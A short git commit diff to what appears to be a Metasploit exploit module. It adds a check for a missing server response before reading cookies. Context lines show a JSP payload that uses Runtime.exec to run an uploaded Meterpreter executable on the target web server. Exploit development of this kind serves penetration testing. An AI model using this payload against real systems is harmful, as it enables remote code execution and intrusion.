check res before calling get_cookies
parent
47e86000ee
commit
272d75e437
|
@ -67,6 +67,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, 'The server did not respond in an expected way')
|
||||
end
|
||||
|
||||
cookie = res.get_cookies
|
||||
|
||||
exec = '<%=new java.util.Scanner(Runtime.getRuntime().exec(System.getProperty("user.dir")+"\\\\..\\\\webapps\\\\ROOT\\\\'+meterp+'.exe").getInputStream()).useDelimiter("\\\\A").next()%>'
|
||||
|
|
Loading…
Reference in New Issue